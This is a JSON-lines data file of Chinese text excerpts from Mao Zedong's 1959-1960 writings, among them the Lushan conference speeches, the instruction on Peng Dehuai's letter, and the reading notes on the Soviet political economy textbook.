    {"text": "党中央从去年十一月第一次郑州会议 〔20〕 以来至此次庐山会议 〔21〕 ，对于在自己领导下的各项重大工作中的错误缺点在足够地估计成绩（成绩是主要的，缺点是第二位的）的条件下，进行了严肃的批判，这次批判工作已经有九个月了。"},
    {"text": "必须看到，这种批判是完全必要的，而且是迅速地见效和逐步地见效的，又必须看到，这种严肃的认真的批判，必定而且已经带来了一定的付作用，就是对于某些同志有泄气。"},
    {"text": "我们必须坚持今年三月第二次郑州会议纪录上所说的，在满腔热情地保护干部的精神下，引导那些在工作中犯有错误者，存在缺点者，批判和改正自己的缺点错误。"},
    {"text": "错误并不可怕，就怕不肯批评，不肯改正，就怕因批评而泄了气，必须顾到改错和鼓劲两方面，必须看到批评整改虽然已经几个月了、一切未完工作还必须坚持做完，不可留尾巴。"},
    {"text": "但是现在党内外出现了一种新的事物，就是右倾情绪、右倾思潮、右倾活动已经增加，大有猖狂进攻之势，这表现在此次会议印发各同志的许多材料上。 这种情况还没有达到一九五七年党内外右派猖狂进攻那种程度，但是苗头和趋势已经很清楚，已经出现在地平线上了，这种情况是资产阶级性质的，另一种情况是无产阶级内部的思想性质的，他们和我们一样都要社会主义，不要资本主义，这是我们和这些同志的基本相同点。"},
    {"text": "他们的情绪有些不正常，他们把党的错误估计得过大了一些，而对几亿人民在党的领导下所创造出来的伟大成绩估计得过小了些，他们做出了不适当的结论，他们对于克服当前的困难信心很不足。"},
    {"text": "现在这一次争论，可能会被证明是一次意义重大的争论，如同我们在革命时期，各次重大争论一样，在新的历史时期——社会主义建设时期，不可能没有争论的，风平浪静的。"},
    {"text": "四、八月二日讲话 ——中央全会的团结，关系到中国社会主义的命运 〔22〕 中委、候补中委一百九十一人，到会一百四十七人，列席十五人，共一百六十五人，会议议程： 改指标问题：武汉六中全会决定了今年的指标，上海七中全会有人主张改指标，多数不同意，看来改也改不彻底，现在还有五个月，改了好经过人大常委会，高指标是自己定的，自己立了个菩萨自己拜，现在还得打破，打破了不符合实际的指标，钢、煤、粮、棉等。"},
    {"text": "对犯错误的同志，采取惩前毖后，治病救人的方针，给犯错误的同志一条出路，允许犯错误的同志改正错误，继续革命，不要像“阿Q正传”上的赵太爷，不许阿Q革命。 对犯错误的同志要一看二帮，只看不帮，不作工作是不好的。"},
    {"text": "五、八月十六日讲话 ——右倾机会主义者挑起了斗争 〔24〕 犯右倾机会主义错误的同志，不在去年十一月郑州会议上提出意见，更不在北戴河会议上对高指标提出意见，也不在去年十二月武昌会议上提出意见，也不在三月底四月初上海会议上提出意见，而在这庐山会议上提出意见。"},
    {"text": "他们等到中央把问题解决了，或者大部分解决了，才来提，认为这时不提就不好提了，因为他们感觉现在不提，再等几个月后，形势要好转，时间过了，就更不好了，故急于发动。"},
    {"text": "这个道理过去没有讲透，很多同志不明白，一旦出了问题，例如一九五三年高饶问题，现在的彭、黄、周、张问题，就有许多人感到惊奇，这种惊奇，是可以理解的。"},
    {"text": "人民内部矛盾可能转化为敌我矛盾，如果双方采取的态度和政策不适当的话； 可能不转化为敌我矛盾，而始终当作人民内部矛盾，予以彻底解决，如果我们能够把这种矛盾及时适当地加以解决的话。"},
    {"text": "为了帮助犯错误的同志改正错误，就要仍然把他们当同志看待，当作兄弟一样看待，给以热忱的帮助，给他们以改正错误的时间和继续从事革命工作的出路。"},
    {"text": "〔3〕 孙科（一八九一年十月二十日——一九七三年九月十三日），字哲生，广东省香山县（今中山市）翠亨村人，孙中山唯一的儿子，其母是孙中山的元配夫人卢慕贞。"},
    {"text": "〔5〕 当时有一份文件《江西省中级党校学员对人民公社的各种看法》，一九五九年五月间，当讨论郑州会议、上海会议巩固公社方针时，江西党校八十多个县委一级干部初步鸣放后，对一九五八年大跃进有如下看法： 1、大跃进是吹起来的，是浮夸、谎报的结果；"},
    {"text": "3、没有高级社优越，“农民只说高级社好，没听说人民公社好”； 4、搞人民公社化根本没有条件，“公社的缺点大于优点，现在是空架子，金字招牌”。"},
    {"text": "”他们否定成立人民公社的必然性和优越性，说“公社成立得太快了，太早了，不合乎规律”。 “人民的觉悟没有跟上来，工人、农民和军官都对成立公社有意见”。"},
    {"text": "根据国家计委几个核实后的指标来看，一九五八年较一九五七年工农业总产值增长了百分之四十八点四，其中工业增长了百分之六十六点一，农副业增长了百分之二十五（粮棉增产百分之三十是肯定的），国家财政收入增长了百分之四十三点五。"},
    {"text": "现在还有一些缺门和薄弱环节，致使生产不能成套，有些物资缺乏十分必要的储备，使发生了失调现象和出现新的不平衡就难以及时调整，这就是当前困难的所在。"},
    {"text": "对一九五八年和一九五九年上半年有些基本建设项目实在无法完成的，也必须下最大决心暂时停止，在这方面必须有所舍，才能有所取，否则严重失调现象将要延长，某些方面的被动局面难以摆脱，将妨碍今后四年赶英和超英的跃进速度。"},
    {"text": "通过这次讨论，将会使我们党的工作得到极大好处，变某些方面的被动为主动，进一步体会社会主义经济法则，使经常存在着的不平衡现象，得到及时调整，正确地认识“积极平衡”的意义。"},
    {"text": "其客观因素是我们对社会主义建设工作不熟悉，没有完整的经验。 对社会主义有计划按比例发展的规律体会不深，对两条腿走路的方针，没有贯彻到各方面的实际工作中去。"},
    {"text": "另方面，客观形势是我国一穷（还有一部分人吃不饱饭，去年棉布平均每人还只十八尺，可缝一套单衣和两条裤衩）二白的落后状态，人民迫切要求改变现状。"},
    {"text": "利用这一有利时机，适应广大人民要求，加速我们的建设工作，尽快改变我们一穷二白的落后面貌，创造更为有利的国际局面，是完全必要和正确的。"},
    {"text": "在对发展钢铁的认识上，有严重的片面性，没有认真地研究炼钢、轧钢和碎石设备，煤炭、矿石、炼焦设备，坑木来源，运输能力，劳动力增加，购买力扩大，市场商品如何安排等等。"},
    {"text": "虽然主席在去年就已经提示全党要把冲天干劲和科学分析结合起来，和两条腿走路的方针，看来是没有为多数领导同志所领会，我也是不例外的。"},
    {"text": "在一九五八年的大跃进中，我和其他不少同志一样，为大跃进的成绩和群众运动的热情所迷惑，一些左的倾向有了相当程度的发展，总想一步跨进共产主义，抢先思想一度占了上风，把党长期以来历形成的群众路线和实事求是作风置诸脑后了。"},
    {"text": "在思想方法上，往往把战略性的布局和具体措施、长远性的方针和当前步骤、全体与局部、大集体与小集体等关系混淆起来。 如主席提出的“少种、高产、多收”、“十五年赶上英国”等号召，都是属于战略件、长远性的方针，我们则缺乏研究，不注意研究当前具体情况，把工作安排在积极而又是稳妥可靠的基础上。"},
    {"text": "诸如过早否定等价交换法则，过早提出吃饭不要钱，某些地区认为粮食丰产了，一度取消统销政策，提倡放开肚皮吃饭，以及某些技术不经鉴定就贸然推广，有些经济法则和科学规律轻易被否定等，都是一种左的倾向。"},
    {"text": "在这些同志看来，只要提出政治挂帅，就可以代替一切，忘记了政治挂帅是提高劳动自觉、保证产品数量质量的提高，发挥群众的积极性和创造性，从而加速我们的经济建设。"},
    {"text": "去年下半年，似乎出现了一种空气，注意了反右倾保守思想，而忽略了主观主义左的方面，经过去年冬郑州会议以后一系列措施，一些左的现象基本上纠正过来了，这是一个伟大的胜利。"},
    {"text": "〔19〕 这是对李云仲一九五九年六月九日写给毛泽东的关于目前经济生活中的一些问题的一封信的批语，李云仲的信中说，我想对目前经济生活中所发生的问题，联系一些思想作风问题，提出一些意见，供参考。"},
    {"text": "（一）我觉得最近一年来，我们在工作中犯有“左”倾冒险主义的错误，其原因主要是，我们在思想战线上忽略了两条战线的斗争，即在反对右倾保守思想的同时，忽视“左”倾冒险主义的侵袭。 我们党的历史经验中最重要的一条是：在党内思想战线上不断进行两条战线的斗争，这就是要时而反对“左”倾冒险主义对革命的危害，时而反对右倾机会主义对党的侵袭。"},
    {"text": "”）...（二）在各级干部中反对主观主义的思想作风，教育全体党员坚持党的原则，增强党性，是当前党的政治思想战线上一个很重要的问题。"},
    {"text": "对彭德怀九月九日信<a class=\"zy\" href=\"#id1a\" id=\"id1\">〔1〕</a>的批示 对彭德怀九月九日信 〔1〕 的批示 * （一九五九年九月九日） 此件即发各级党组织，从中央到支部，印发在北京开会的军事、外事两会议各同志。 我热烈地欢迎彭德怀同志的这封信，认为他的立场和观点是正确的，态度是诚恳的。倘从此彻底转变，不再有大的动摇（小的动摇是必不可免的），那就是“立地成佛”，立地变成一个马克思主义者了。我建议，全党同志都对彭德怀同志此信所表示的态度，予以欢迎。一面严肃地批判他的错误，一面对他的每一个进步都表示欢迎，用这两种态度去帮助这一位同我们有三十一年历史关系的老同志。对其他一切犯错误的同志，只要他们表示愿意改正，都用这两种态度去对待他们。必须坚信，我们的这种政策是能感动人的。人，在一定条件下，是能改变的，除开某些个别的例外的情况不计在内。德怀同志对于他自己在今后一段时间内工作分配的建议，我认为基本上是适当的。读几年书极好。年纪大了，不宜参加体力劳动，每年有一段时间到工厂和农村去做参观和调查研究工作，则是很好的。此事中央将同德怀同志商量，作出适当的决定。 注 释 * 这是毛泽东同志在彭德怀来信上的批示。 〔1〕 指彭德怀给毛泽东的信： 主席： 八届八中全会和军委扩大会议，对我的错误彻底地揭发的批判，消除了制造党内分裂的一个隐患，这是党的伟大胜利，也给了我改正错误的最后机会，我诚恳地感谢你和其他同志对我的耐心教育和帮助，这次党对我的错误进行系统地、历史地批判，是完全必要的，只有这样才能够使我真正认识到错误的极端的危险性，才有可能消除我的错误在党内外的恶劣影响，现在我深刻体会到我的资产阶级世界观、方法论是根深蒂固的，个人主义是极端严重的，现在我认识到党和人民培养我这样一个人付出了多么大的代价，如果不是及时得到彻底揭发和批判，其危险性又是多么可怕，过去由于自己的资产阶级立场作怪，将你对我善意的、诚恳的批评，都当作是对自己的打击，自己都没有受到教育，得到提高，使错误顽症得不到医治，三十余年辜负了你对我的教导和忍耐，使我愧感交集，难以言状，对不起党，对不起人民，也对不起你，今后必须下大功夫继续彻底反省自己的错误，努力学习马列主义理论，来改造自己的思想，保证晚年不再做危害党和人民的事情，为此请求中央考虑，在军委扩大会议以后，请允许我学习，或者离开北京到人民公社中去，一边学习，一边参加劳动，以便在劳动人民集体生活中得到锻炼和思想改造，是否妥当请考虑示复。 敬礼 彭 德 怀 一九五九年九月九日"},
    {"text": "争取比较长的和平时间是可能的 争取比较长的和平时间 是可能的 * （一九五九年十月十八日） 整个国际形势是在好转。西方的高压政策、实力地位政策，或者说是冷战政策，已难以继续下去了。西方统治集团，比如美国集团、英国集团的大部分，都对打第三次世界大战抱有恐惧。如果说冷战形势有所缓和，那是因为以往的冷战政策对他们不利了，所以才有些改变，才使形势缓和下来。但情况并不是那么简单的，他们有两手：使形势有所缓和，这是一手；另外一手，当缓和对他们不利的时候，又挑起紧张局势。这就是资产阶级的两面性。他们的“爱好和平”和我们的爱好和平是不完全一致的。比如美国垄断资本同日本垄断资本，日本垄断资本同日本人民，都是有区别的。垄断资本本身也有区别，有卖国部分和其他部分的区别。即便一个集团内部，例如艾森豪威尔 〔1〕 集团内部，也不那么简单，也有两面性。我们有困难，他们也有，他们的困难比我们更多。我们利用他们的困难争取和平是可能的，而且和平时间不会是很短的。就是说，争取比较长的和平时间是可能的。你们应当利用他们内部的矛盾。他们是一定有困难的，正因为有困难才要缓和，否则何必缓和呢？西方国家之间也不一致。西方国家内爱好和平的人同他们的政府之间是有区别的，无产阶级同资产阶级之间也有区别。此外，亚洲、非洲和拉丁美洲国家的人民都是反对帝国主义控制的。当然，也有帝国主义的走狗，但广大人民是反对帝国主义的。 社会主义国家是团结的，阵营加强了。帝国主义发动战争已不是那么容易。苏联加强了，社会主义国家都靠在一块儿，而且巩固了。这样，帝国主义要发动战争就不能不考虑。 我们历来是这样估计的，整个国际形势是向好发展，不是向坏。只是有个情况也要估计到，那就是疯子要打第三次世界大战怎么办？所以，战争的情况也要估计到。和平有可能被破坏，缓和之后又会搞紧张，搞突袭，打大战，等等。对这些情况都估计到了之后，我们说总的看来，形势是向好的方面发展的。从总的情况来看，争取到十年至十五年的和平时间是可能的。假如这种情况实现了，那时要打世界大战，他们就比现在更加困难了。那时社会主义阵营的力量要比现在大得多。西方国家的矛盾，日美矛盾，由基地和条约而造成的许多矛盾，都很难解决。 如果反对修改日美“安全条约” 〔2〕 未能取得成功，条约修改了，那末，十年后这个条约还将提到日本人民的面前，那将会教育日本人民更进一步地团结起来进行斗争。 一般讲，美、英、法同德、日是有区别的。就是说，美、英、法有不少殖民地或半殖民地。它们要守卫的地方很多，从台湾和南朝鲜到土耳其，都要守。从这一点上说，它们很富。美国没有殖民地，但有很多半殖民地，这样一些国家和地区，包括南朝鲜和台湾，要保守，要维持现状，以便继续控制下去。西德和日本就不同了。德国在第一次世界大战时殖民地被搞掉了，第二次世界大战时未搞到殖民地。日本经过第一次世界大战殖民地扩大了，第二次世界大战后殖民地全被剥夺了。它们很不甘心，想继续侵占殖民地，但现在受美国的控制，还未准备好。它们想摆脱美国，再搞扩张。这些看法是否对，愿同你们交换意见。 对冒险集团要有个估计。最强大的就是美国冒险集团。他们在目前发动侵略战争还是有困难的，因为他们还未准备好。西德和日本处在美国的控制之下，要发动战争不那么容易。岸信介 〔3〕 要修改宪法第九条，是因为第九条束缚了他进行扩张，他要复活军国主义。你们党的纲领中有和平和独立的口号，这是最合乎实际情况的。 注 释 * 这是毛泽东同志同日本共产党代表团谈话的一部分。 〔1〕 艾森豪威尔（一八九〇——一九六九），美国共和党人，时任美国总统。 〔2〕 日美“安全条约”，即《日美共同合作和安全条约》，是一九五一年九月八日在旧金山签订的军事同盟条约。条约以维持日本“安全”为由，规定美国有权在日本驻扎军队和建立军事基地。一九六〇年一月，日美修改了该条约，重新签订了《日美共同合作和安全条约》。主要内容是：发展日本“抵抗武装进攻的能力”；在“应付共同危险”时，日本负有保护驻日美军的义务；美国继续有权在日本驻军和使用军事基地；“鼓励两国经济合作”等。 〔3〕 岸信介（一八九六——一九八七），时任日本内阁首相。"},
    {"text": "同澳共总书记夏基的谈话 同澳共总书记夏基的谈话 （一九五九年十月二十六日） 你写的材料提出了如何过渡到社会主义的问题，说是同意中国同志对这个问题的看法。"},
    {"text": "也有人拿中国和平改造资本主义工商业的政策作为和平过渡的例子，其实我们是经过了几十年的战争，打倒了国民党政府，建立了强大的无产阶级领导的人民政权，发展到几百万军队，这才有了和平改造的可能。"},
    {"text": "〔4〕 一九五四年三月二十九日，波立特给中共中央来信，提出他们在翻译《毛泽东选集》第二卷时，准备将《战争和战略问题》一文的头两段从英译本中删去。"},
    {"text": "”同年八月二十三日，中共中央复信波立特，明确表示：我们不能同意在《毛泽东选集》英译本中把《战争和战略问题》的头两段删去的提议，“因为毛泽东同志在该文件中所说到的原则，是马列主义的普遍真理，并不因为国际形势的变化，而须要作什么修正。"},
    {"text": "〔5〕 指一九五七年十一月十四日至十六日在莫斯科召开的社会主义国家共产党和工人党代表会议通过的《社会主义国家共产党和工人党代表会议宣言》（通称《莫斯科宣言》）。"},
    {"text": "宣言总结了国际共产主义运动的经验，提出了各国共产党争取和平和社会主义的斗争任务，规定了社会主义国家和政党之间关系的准则，并要求各国共产党创造性地运用马克思列宁主义。"},
    {"text": "〔7〕 一九五九年九月十五日至二十七日，苏联共产党中央委员会第一书记、苏联部长会议主席赫鲁晓夫访问美国，在美国总统别墅戴维营同艾森豪威尔就德国问题、柏林问题、裁军、核试验、双边关系等举行了会谈。"},
    {"text": "读苏联《政治经济学教科书》的谈话<a class=\"zy\" href=\"#id1a\" id=\"id1\">〔1〕</a> 读苏联《政治经济学教科书》 的谈话 〔1〕 （一九五九年十二月——一九六〇年二月） 一、关于世界观和方法论 人们的主观运动的规律和外界的客观运动的规律是同一的。"},
    {"text": "说思维和存在没有同一性，势必走到反对恩格斯的论点。 当然，思维和存在不能划等号。 说二者同一，不是说二者等同，不是说思维等同于存在。"},
    {"text": "思维是一种特殊物质的运动形态，它能够反映客观的性质，能够反映客观的运动，并且由此产生科学的预见，而这种预见经过实践又能够转化成为事物。"},
    {"text": "这就说明蓝图能够反映客观世界，又能够转化为客观世界； 说明客观世界可以被认识，人们的主观世界可以同客观世界相符合，预见可以变为事实。"},
    {"text": "认识规律，必须经过实践，取得成绩，发生问题，遇到失败，在这样的过程中，才能使认识逐步推进。 要认识事物发展的客观规律，必须进行实践，在实践中必须采取马克思主义的态度来进行研究，而且必须经过胜利和失败的比较。 反复实践，反复学习，经过多次胜利和失败，并且认真进行研究，才能逐步使自己的认识合乎规律。 只看见胜利，没有看见失败，要认识规律是不行的。"},
    {"text": "第二次国内战争的后期，当时的中央曾经主张按劳力分配土地，不赞成按人口平分土地。 当时“左”倾冒险路线的同志认为按人口平分土地是阶级观点不明确，群众观点不充分，对发展生产不利。 实践证明错的不是按人口平分土地，而是按劳动力分配土地。"},
    {"text": "规律自身不能说明自身。 规律存在于历史发展的过程中。 应当从历史发展过程的分析中来发现和证明规律。 不从历史发展过程的分析下手，规律是说不清楚的。"},
    {"text": "研究通史的人，如果不研究个别社会、个别时代的历史，是不能写出好的通史来的。 研究个别社会，就是要找出个别社会的特殊规律。 把个别社会的特殊规律研究清楚了，那末整个社会的普遍规律就容易认识了。 要从研究特殊中间，看出一般来。 特殊规律搞不清楚，一般规律是搞不清楚的。 例如要研究动物的一般规律，就必须分别研究脊椎动物、非脊椎动物等等的特殊规律。"},
    {"text": "但是，如果只有进步的一面，只有变革的一面，那就没有一定相对稳定形态的具体的动物和植物，下一代就和上一代完全不同，稻子就不成其为稻子，人就不成其为人了。 保守的一面，也有积极作用，可以使不断变革中的植物、动物，在一定时期内相对固定起来，或者说相对地稳定起来，所以稻子改良了还是稻子，儿子比父亲粗壮聪明了还是人。 但是如果只有保守和稳定，没有进步和变革一方面，植物和动物就没有进化，就永远停顿下来，不能发展了。"},
    {"text": "量变和质变是对立的统一。 量变中有部分的质变，不能说量变的时候没有质变； 质变是通过量变完成的，不能说质变中没有量变。 质变是飞跃，在这个时候，旧的量变中断了，让位于新的量变。 在新的量变中，又有新的部分质变。 在一个长过程中，在进入最后的质变以前，一定经过不断的量变和许多的部分质变。"},
    {"text": "社会主义一定要向共产主义过渡。 过渡到了共产主义的时候，社会主义阶段的一些东西必然是要灭亡的。 就是到了共产主义阶段，也还是要发展的。"},
    {"text": "资本主义制度是没落的，社会主义制度不是没落的，所以社会主义制度的矛盾，是前进道路上的矛盾，这点教科书是说得对的。 社会主义制度下，虽然没有一个阶级推翻另一个阶级的革命，但是还有革命，技术革命，文化革命，也是革命。 从社会主义过渡到共产主义是革命，从共产主义的这一个阶段过渡到另一个阶段，也是革命。 共产主义一定会有很多的阶段，因此也一定会有很多的革命。"},
    {"text": "但是，任何国家的共产党，任何国家的思想界，都要创造新的理论，写出新的著作，产生自己的理论家，来为当前的政治服务，单靠老祖宗是不行的。"},
    {"text": "适应这个时期革命的需要，列宁就写了《帝国主义论》 〔7〕 、《国家与革命》等著作。 列宁死了，又需要斯大林写出《论列宁主义基础》和《论列宁主义的几个问题》这样的著作，来对付反对派，保卫列宁主义。 我们在第二次国内战争末期和抗战初期写了《实践论》、《矛盾论》，这些都是适应于当时的需要而不能不写的。 现在，我们已经进入社会主义时代，出现了一系列的新问题，如果单有《实践论》、《矛盾论》，不适应新的需要，写出新的著作，形成新的理论，也是不行的。"},
    {"text": "俄国布尔什维克党 〔9〕 积极地参加了俄国的民主革命，在一九〇五年提出了同资产阶级相区别的民主革命纲领，这个纲领不只是要解决推翻沙皇的问题，而且要解决在推翻沙皇的革命斗争中如何同立宪民主党 〔10〕 争夺领导权的问题。"},
    {"text": "我们常说中国共产党在一九二七年的时候是幼年的党，从主要意义上来说，就是指我们党在同资产阶级联盟的时候，没有看到资产阶级会叛变革命，而且也没有做好应付这种叛变的准备。"},
    {"text": "七月事件 〔19〕 说明，把政权和平地转到无产阶级手里已经不可能，布尔什维克转过来进行了三个月的武装准备，举行武装起义，才取得了十月革命的胜利。"},
    {"text": "我们用战争推翻了国民党的统治，接着没收了在整个资本主义经济中占百分之八十的官僚资本，这样才使我们有可能对占百分之二十的民族资本，采取和平的方式，逐步地进行社会主义改造，并且利用他们的经济、文化来为社会主义建设服务。"},
    {"text": "反对官僚资本主义的斗争，包含着两重性：一方面，反官僚资本就是反买办资本，是民主革命的性质； 另一方面，反官僚资本就是反对大资产阶级，又带有社会主义革命的性质。"},
    {"text": "中国民族资本家从来没有统一过，解放前有什么上海帮、广东帮、天津帮之类行会性的组织，解放以后我们帮助他们成立全国工商业联合会，把他们统一起来，又对资本家区别不同情况，分而治之。"},
    {"text": "它只说了我们对民族资本的改造政策，没有说我们对官僚资本的没收政策。 对于民族资本，也没有说我们是经过了三个步骤，即加工定货、统购包销、公私合营，来实现对它的社会主义改造。"},
    {"text": "但是，它不能决定我们能不能够走社会主义道路的问题，只能影响我们在走上社会主义道路以后是前进得快一点还是慢一点的问题，有帮助可以快一些，没有帮助会慢一些。"},
    {"text": "教科书承认我们搞国家资本主义是对的，但是，它没有写清楚我国的国家资本主义的发展过程和阶段，它也没有吸收我们所说的公私合营是四分之三的社会主义这个意思。"},
    {"text": "我们搞了二十二年的根据地政权工作，积累了根据地管理经济的经验，培养了一批管理经济的干部，同农民建立了联盟，从他们那里得到了粮食和原料。"},
    {"text": "到生产资料所有制的社会主义改造基本完成以后，我们就提出了建设社会主义的两种方法的问题，在一九五八年正式形成了社会主义建设的总路线 〔31〕 。"},
    {"text": "当时还看了斯大林一九四六年选举演说 〔33〕 ，苏联在一九二一年产钢四百多万吨，一九四〇年增加到一千八百万吨，二十年中增加了一千四百万吨。"},
    {"text": "实际工作告诉我们，在一个时期内，可以有这样的计划，也可以有那样的计划； 可以有这些人的计划，也可以有那些人的计划。 不能说这些计划都是完全合乎规律的。 实际上是，有些计划合乎规律，或者基本上合乎规律，有些计划不合乎规律，或者基本上不合乎规律。"},
    {"text": "” 〔38〕 因为消灭了私有制，可以有计划地组织经济，所以就有可能自觉地掌握和利用不平衡是绝对的、平衡是相对的这个客观规律，以造成许多相对的平衡。"},
    {"text": "要经常保持比例，就是由于经常出现不平衡。 因为不成比例了，才提出按比例的任务。 平衡了又不平衡，按比例了又不按比例，这种矛盾是经常的、永远存在的，教科书不讲这个观点。 社会主义经济发展过程中，经常出现不按比例、不平衡的情况，要求我们按比例和综合平衡。 例如，经济发展了，到处感到技术人员不够，干部太少，于是就出现干部的需要和干部的分配的矛盾，这就促进我们多办学校，多培养干部，来解决这个矛盾。"},
    {"text": "例如解放初期，我们的地质工作人员只有二百来人，地质勘探情况同国民经济发展的需要极不平衡，经过几年来努力加强工作，这种不平衡已经走向平衡。"},
    {"text": "平衡是对不平衡来说的，没有了不平衡，还有什么平衡？ 事物的发展总是不平衡的，因此有平衡的要求。 平衡和不平衡的矛盾，在各方面、各部门、各个部门的各个环节都存在，不断地产生，不断地解决。"},
    {"text": "我国人民现在还要像苏联那个时候一样，忍受一点牺牲，但是只要我们能够使农业、轻工业、重工业都同时高速度地向前发展，我们就可以保证在迅速发展重工业的同时，适当改善人民的生活。"},
    {"text": "这里说到一九二五年到一九五七年苏联的生产资料生产增长了九十三倍，消费资料生产增长了十七点五倍，问题是，九十三同十七点五的比例，是否对发展重工业有利。"},
    {"text": "过去因为总是把工业放在第一位，没有同时注意大力发展农业，结果本省的农业不能给城市保证粮食、肉类、蔬菜的供应，总是要中央从外省往那里运粮，运肉类，运蔬菜。"},
    {"text": "工业发展了，城市人口增加了，对农业的要求也就更多了。 因此就必须使农业能够和工业得到相适应的发展。 在农村劳动力减少的情况下，必须对农业进行技术改造，提高劳动生产率，更多地增加农产品的生产。"},
    {"text": "例如，一九六〇年估计可生产钢材一千三四百万吨，拿出十分之一的钢材来搞农业技术改造和水利建设，其余十分之九的钢材，主要还是用于重工业和交通运输的建设，在目前的条件下，这就是工农业并举了。"},
    {"text": "我们在长期战争中曾经打断了城乡的旧的经济联系，在解放初期，全国普遍召开物资交流会，在新的基础上恢复城乡的经济联系，包括恢复过去的牙行、经纪等。"},
    {"text": "现在我国工业化速度也是一个很尖锐的问题。 原来的工业越落后，速度问题也越尖锐，不但国与国之间比较起来是这样，就是一个国家内部，这个地区和那个地区比较起来也是这样。"},
    {"text": "过去的中小型企业对钢铁工业的发展起了很大的作用，拿一九五九年来说，全国全年生产的生铁是二千多万吨，其中一半是由中小型企业生产的。 今后中小型钢铁企业对钢铁工业的发展还要起很大的作用。"},
    {"text": "中央不能只靠自己的积极性，还必须同时依靠地方的积极性。 过去中央有些部门，把地方办的事业不当作自己的，只把直属的企业看成自己的，这种看法妨碍了充分发挥地方的积极性。 中央和地方都要注意发挥企业的积极性。"},
    {"text": "一九五九年以前，我们的农业生产，主要靠兴修水利。 一九五九年我国七个省遇到很大的旱灾，如果没有过去几年的水利建设，要不减产而能增产，是不能设想的。"},
    {"text": "教科书在引用这句话以后，讲要吸收广大劳动群众“直接地和积极地参加生产管理，参加国家机关的工作，参加国家社会生活的一切部门的领导”，也讲得好。"},
    {"text": "四、关于政治经济学的一些问题 我们要以生产力和生产关系的平衡和不平衡，生产关系和上层建筑的平衡和不平衡，作为纲，来研究社会主义社会的经济问题。 政治经济学研究的对象主要是生产关系，但是要研究清楚生产关系，就必须一方面联系研究生产力，另一方面联系研究上层建筑对生产关系的积极作用和消极作用。"},
    {"text": "从世界的历史来看，资产阶级工业革命 〔48〕 ，不是在资产阶级建立自己的国家以前，而是在这以后； 资本主义的生产关系的大发展，也不是在上层建筑革命以前，而是在这以后。"},
    {"text": "拿资本主义发展的历史来说，正如马克思所说的，简单的协作就创造了一种生产力 〔49〕 。 手工工场就是这样一种简单协作，在这种协作的基础上，就产生了资本主义发展第一阶段的生产关系。"},
    {"text": "一切革命的历史都证明，并不是先有充分发展的新生产力，然后才改造落后的生产关系，而是要首先造成舆论，进行革命，夺取政权，才有可能消灭旧的生产关系。 消灭了旧的生产关系，确立了新的生产关系，这样就为新的生产力的发展开辟了道路。"},
    {"text": "物质利益是一个重要原则，但总不是唯一的原则，总还有另外的原则，教科书中不也是常说“精神鼓励”原则吗？ 同时，物质利益也不能单讲个人利益、暂时利益、局部利益，还应当讲集体利益、长远利益、全局利益，应当讲个人利益服从集体利益，暂时利益服从长远利益，局部利益服从全局利益。"},
    {"text": "公是对私来说的，私是对公来说的。 公和私是对立的统一，不能有公无私，也不能有私无公。 我们历来讲公私兼顾，早就说过没有什么大公无私，又说过先公后私。"},
    {"text": "所有制问题基本解决以后，最重要的问题是管理问题，即全民所有的企业如何管理的问题，集体所有的企业如何管理的问题，这也就是人与人的关系问题。"},
    {"text": "例如，集体所有制过渡到全民所有制之后，在相当长的时期内，它的性质总还是社会主义全民所有制。 当然将来还会从社会主义全民所有制过渡到共产主义全民所有制，达到了这一步，它的性质，在一定时期内又会没有多大变化。"},
    {"text": "可是在一定时期内，即所有制性质相对稳定的时期内，在劳动生产中人与人的关系，却不能不是不断变革的。 例如我们的国营企业，解放以后，一直是社会主义全民所有制的性质，而在这十年中间，人与人在劳动生产中的关系，变化却是很大的。"},
    {"text": "对企业的管理，采取集中领导和群众运动相结合，工人群众、领导干部和技术人员三结合，干部参加劳动，工人参加管理，不断改革不合理的规章制度，等等。"},
    {"text": "在这里，例如领导人员以普通劳动者姿态出现，以平等态度待人，改进规章制度，干部参加劳动，工人参加管理，领导人员、工人和技术人员三结合，等等，有很多文章可做。"},
    {"text": "所有制方面的革命，在一定时期内是有底的，例如集体所有制过渡到全民所有制，整个国民经济变成了单一的全民所有制以后，在相当长的时期内，它还是全民所有制。"},
    {"text": "要强调个人利益服从集体利益，局部利益服从整体利益，眼前利益服从长远利益。 要讲兼顾国家、集体和个人，把国家利益、集体利益放在第一位，不能把个人利益放在第一位。 不能像他们那样强调个人物质利益，不能把人引向“一个爱人，一座别墅，一辆汽车，一架钢琴，一台电视机”那样为个人不为社会的道路上去。"},
    {"text": "人们生活的需要，是不断增长的。 需要刺激生产的不断发展，生产也不断创造新的需要。 人们对粮食的需要，在数量方面总不能是无限制的，但是在品种方面也会变化。"},
    {"text": "社会主义社会里面的按劳分配、商品生产、价值规律等等，现在是适合于生产力发展的要求的，但是，发展下去，总有一天要不适合生产力的发展，总有一天要被生产力的发展所突破，总有一天它们要完结自己的命运。"},
    {"text": "先写生产资料私有制变革为生产资料公有制，把官僚资本主义私有制和民族资本主义私有制变为社会主义公有制； 把地主土地私有制变为个体农民私有制，再变为社会主义集体所有制； 把个体的手工业变为社会主义集体所有制。"},
    {"text": "集体所有制本身有个变化、变革的过程，全民所有制本身也有变化、变革的过程，如体制下放、分级管理、企业自治权等。 在我们这里，同是全民所有制的企业，但是有的由中央部门直接管，有的由省、市、自治区管，有的由地区管，有的由县管。 都是全民所有制，归谁管，归哪级管，只要一个积极性还是要两个积极性，这是个很大的问题，是整个社会主义时期进行社会主义建设过程中要经常注意解决的很关重要的问题。 人民公社管的企业，有的具有半全民半集体的性质。 中央部门管的和地方各级管的企业，都在统一领导和统一计划下，具有一定的自治权。 有没有这种自治权，对促进生产的发展，还是阻碍生产的发展，关系很大。"},
    {"text": "不能说这本书完全没有马克思主义，因为书中有许多观点是马克思主义的； 也不能说完全是马克思主义的，因为书中有许多观点是离开马克思主义的。"},
    {"text": "特别是写法不好，不从生产力和生产关系的矛盾、经济基础和上层建筑的矛盾出发，来研究问题，不从历史的叙述和分析开始自然得出结论，而是从规律出发，进行演绎。"},
    {"text": "教科书的写法，不是高屋建瓴，势如破竹，没有说服力，没有吸引力，读起来没有兴趣，一看就可以知道是一些只写文章、没有实际经验的书生写的。"},
    {"text": "他们做实际工作的人没有概括能力，不善于运用概念、逻辑这一套东西； 而做理论工作的人又没有实际经验，不懂得经济实践。 两种人，两方面——理论和实践没有结合起来。"},
